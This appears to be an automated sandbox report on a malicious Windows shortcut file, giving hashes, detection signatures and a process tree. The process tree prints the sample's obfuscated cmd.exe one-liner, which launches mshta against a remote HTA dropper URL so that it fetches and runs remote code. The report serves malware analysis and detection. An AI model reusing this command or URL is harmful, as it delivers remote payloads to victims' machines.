Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
03/08/2026, 13:32
Static task
static1
Behavioral task
behavioral1
Sample
DOC-0IW536.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-0IW536.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-0IW536.lnk
- Size 1KB
- Sample260803-qs1sysck51
- SHA256 617e6495991d19a63af41ff23751aba801340f75b625f7120865aa0009b44e1b
- MD5 f3a02685fac46abe62df9a484ef6fd39
- SHA1 a161e42dca6eec124cf6f88874400a46a1ba20e5
- SHA512 5164a1ab8c86d0a0fe1afb05006d105ebae8ba7db26a9ce3ca59beaf913d0a4ebe16c2d85795e538a2612fe1d697485a431dfcee430afe69995895fff50142ce
- TLSH T13E3197002FF90614F3F7AE3384BB57208DBBB9968E21CA1D41404A0C2032E04E9BAF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3048 cmd.exe 4464 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3048 wrote to memory of 4464 3048 cmd.exe 88 PID 4464 wrote to memory of 2144 4464 cmd.exe 89
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-0IW536.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3048 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set ccrO=msh&&set Tfcv=ta&&start "" !ccrO!!Tfcv! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4464 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:2144
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